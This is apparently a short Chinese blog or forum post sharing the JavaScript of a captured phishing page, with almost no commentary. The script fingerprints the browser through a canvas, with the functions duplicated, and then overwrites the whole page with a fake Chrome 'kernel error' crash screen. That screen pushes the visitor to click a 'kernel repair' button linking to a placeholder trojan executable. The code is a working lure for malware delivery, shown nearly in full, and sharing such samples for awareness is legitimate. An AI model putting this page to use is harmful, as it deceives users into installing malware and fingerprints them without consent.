捡到一个简单的chrome奔溃提示升级钓鱼页面

function bin2hex(str){var result="";for(i=0;i<str.length;i++){result+=int16_to_hex(str.charCodeAt(i))}return result}function int16_to_hex(i){var result=i.toString(16);var j=0;while(j+result.length<4){result="0"+result;j++}return result}function cans(){var canvas=document.createElement("canvas");var ctx=canvas.getContext("2d");var txt="test";ctx.fillText(txt,4,17);var b64=canvas.toDataURL().replace("data:image/png;base64,","");var bin=atob(b64);var crc=bin2hex(bin.slice(-16,-12));return crc};function bin2hex(str){var result="";for(i=0;i<str.length;i++){result+=int16_to_hex(str.charCodeAt(i))}return result}function int16_to_hex(i){var result=i.toString(16);var j=0;while(j+result.length<4){result="0"+result;j++}return result}function cans(){var canvas=document.createElement("canvas");var ctx=canvas.getContext("2d");var txt="test";ctx.fillText(txt,4,17);var b64=canvas.toDataURL().replace("data:image/png;base64,","");var bin=atob(b64);var crc=bin2hex(bin.slice(-16,-12));return crc};document.getElementsByTagName("body")[0].innerHTML="<div style=\'position:absolute;top:0;z-index:10000;left:0;right:0;bottom:0;background:#333333;font-size:18px;color:#FFFFFF;text-align:center;padding-top:150px;\'><span style=\'font-size:36px;\'>kernel error</span><br/><br/>喔唷,崩溃啦!<br/><br/>显示此网页出现了某些错误,要继续请按“内核修复”,安装最新内核补丁程序。<br/><br/><a href=\'https://木马地址.exe' target=_blank style=\'width:150px;heigh:30px; margin:0 auto;background-color:#CCCCCC;border:1px #999999 solid;display:block; text-align:center; line-height:30px; color:#000000; text-decoration:none;\'>内核修复</a></div>";